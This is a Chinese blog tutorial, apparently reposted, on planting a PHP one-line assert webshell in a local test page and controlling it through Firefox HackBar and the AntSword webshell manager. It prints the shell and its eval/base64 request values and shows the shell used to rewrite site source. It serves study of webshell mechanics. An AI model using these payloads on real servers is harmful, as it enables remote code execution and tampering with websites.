当前位置:网站首页>assert利用蚁剑登录

assert利用蚁剑登录

2022-08-09 23:58:00 薄荷加冰心有多冷

利用火狐HackBar测试登录

在本地站点下创建test.php页面,编写一句话木马,用火狐浏览器的HackBar来执行

第一步

第二步

image-20220729030748272

第三步输出结果

这就是通过post提交值传进来后打印出来

在这里插入图片描述

假如我们提交的是这个结果
在这里插入图片描述

再次提交,输入 2=phpinfo(); 显示页面
在这里插入图片描述

这就是通过火狐演示 一句话木马上线方式

接下来聊一聊

中国蚁剑的使用

第一种方式

利用1=assert&2

第一步

添加数据

第二步

输入URL地址和连接密码,点击测试连接

保存之后显示在数据管理,如下

双击进去,一句话木马已上线

在这里插入图片描述

我们就可以随意更改网站的文件以及源码,这里我们在源码前面添加aaa并保存
在这里插入图片描述

同时网页也被修改了

在这里插入图片描述

再次去修改源码

在这里插入图片描述

测试蚁剑能否连接成功

返回数据为空

在这里插入图片描述

测试火狐能否返回数据

结果是火狐也无返回数据

这样利用失败的原因究竟是什么呢?

因为eval是一个语言构造器而不是一个函数,不能被可变函数调用

什么是可变函数?

正常函数应该是eval(),此时你的函数式拼接在一起的函数

而你是先提交了eval然后你通过后边的括号把他们俩拼接在一起,你觉得它是一个函数,对吧

这样的函数在php中称之为可变函数

如果你1提交一个phpinfo()的话,就拼接成了phpinfo()这样的函数了

PHP支持可变函数的概念。这意味着如果一个变量名后有圆括号,
PHP将寻找与变量的值同名的函数,并且尝试执行它。
可变函数可以用来实现包括回调函数,函数表在内的一些用途。
但是eval在php中不能算是函数,而是php自身的语言结构,需要用可变的方式调用,需要自己构造,外面包一个自己的函数

请求信息不写,直接在连接密码中填写

在这里插入图片描述

连接成功了,那这个过程是怎么样的呢?为什么会连接成功,我们去抓包

设置代理,因为我用的是虚拟机,所以代理填虚拟机网关即可

在这里插入图片描述

同样在burpsuit中代理填写网关,端口也是8080

在这里插入图片描述

点击蚁剑的测试连接,抓包信息如下
在这里插入图片描述

1、首先确定这是一个post提交方式
2、assert中只能执行函数,不能执行字符串
3、而2中有eval函数,不再是字符串,他干了一件什么事,对base64进行了一个解码
4、因为连接器的基础配置当中编码方式为base64,也就是提交的方式为base64编码过的,所以解码需要base64解码
5、恰好assert当中可以放表达式或者函数

思考-----不用编码器可以吗?

(关掉蚁剑和bp的代理)测试:

在这里插入图片描述

知道为什么不用编码器会失败吗,因为它放的是字符,

仔细看,从2开始后面没有eval,成了一串字符

在这里插入图片描述

而刚刚我们说过assert函数中不能执行字符串,参数必须为表达式或者函数;

一开始我们提交的参数如下

1=assert

2=eval(base64_decode(编码器是base64编码,所以提交的值进行base64解码,不解码看不懂))

正是因为eval的解码使 $_POST['1']($_POST[2]) 变成了 assert(eval(base64_decode))

那么就有了下面

第二种方式

1=assert

2=eval($_POST[‘传递的值’])

接POST肯定是从body往过传,所以在body中填写对应的值
在这里插入图片描述

在这里插入图片描述

连接密码填写post提交的值

测试连接,连接成功!

在这里插入图片描述

需要注意的是!!!一定要选编码器,不然默认的不编码还是会连接失败

推荐第二种,assert里面是必须要有一个执行函数的,比较符合逻辑,才能提交

成功!

1=assert

2=eval$_POST['传递的值']

失败!

1=assert

2=$_POST['传递的值']

俩种方式均可上线,推荐第二种

在这里插入图片描述

原网站

版权声明
本文为[薄荷加冰心有多冷]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_44811851/article/details/126047431